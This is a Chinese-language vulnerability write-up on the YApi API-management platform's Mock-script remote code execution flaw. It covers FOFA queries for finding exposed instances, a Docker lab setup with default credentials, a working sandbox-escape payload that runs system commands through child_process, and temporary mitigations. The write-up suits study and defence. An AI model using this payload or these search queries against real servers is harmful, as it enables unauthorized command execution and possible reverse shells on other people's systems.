0x01 前言
Yapi 由 YMFE开源,旨在为开发、产品、测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布、维护API。
安全人员在Yapi官方Github仓库提交了漏洞issues,地址为:https://github.com/YMFE/yapi/issues/2233。
0x02 漏洞描述
YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。
YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代
0x03 FOFA语句
app="YApi"
icon_hash="-715193973"
0x04 Yapi部署教程
使用Docker构建Yapi(Ubuntu环境)。
启动mongodb。
docker run -d --name mongo-yapi -p 27017:27017 mongo
获取 Yapi 镜像,版本信息可在 阿里云镜像仓库查看
docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi
自定义配置文件挂载到目录/api/config.json,宿主机/config/config.json 内容为以下代码:
{
"port": "3000",
"adminAccount": "admin@qq.com",
"db": {
"servername": "mongo-yapi",
"DATABASE": "yapi",
"port": 27017
},
"mail": {
"enable": true,//邮件通知
"host": "smtp.qq.com",//邮箱服务器
"port": 465,
"from": "admin@qq.com",//发件人邮箱
"auth": {
"user": "adminadmin@qq.com",//邮箱服务器账号
"pass": "123456"//邮箱服务器密码
}
}
}
初始化Yapi数据库索引及管理员账号。
docker run -it --rm \
-v /config/config.json:/api/config.json \
--link mongo-yapi:mongo \
--entrypoint npm \
--workdir /api/vendors \
registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
run install-server
启动Yapi服务。
docker run -d \
-v /config/config.json:/api/config.json \
--name yapi \
--link mongo-yapi:mongo \
--workdir /api/vendors \
-p 3000:3000 \
registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
server/app.js
访问http://localhost:3000登录账号admin@qq.com,密码 123456。
0x05 漏洞利用
注册用户
利用前提为Yapi开启了注册功能,打开靶机地址,注册一个账号。
添加项目
添加一个项目。
输入项目名称,输入完成后点击创建名称
添加接口
点击添加接口
输入接口名称和接口路径,输入完成后点击提交
添加Mock脚本
点击高级Mock,并打开脚本页面
开启脚本,输入Mock脚本
脚本内容:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
点击保存,打开预览界面。访问Mock地址即可执行命令。
访问Mock地址
成功获取当前用户
可将Mock脚本中的whoami改成任意语句,可执行反弹shell等操作。
修复建议
该漏洞暂无补丁。
临时修复建议:
关闭YAPI用户注册功能,以阻断攻击者注册。
利用请求白名单的方式限制 YAPI 相关端口。
排查 YAPI 服务器是否存在恶意访问记录。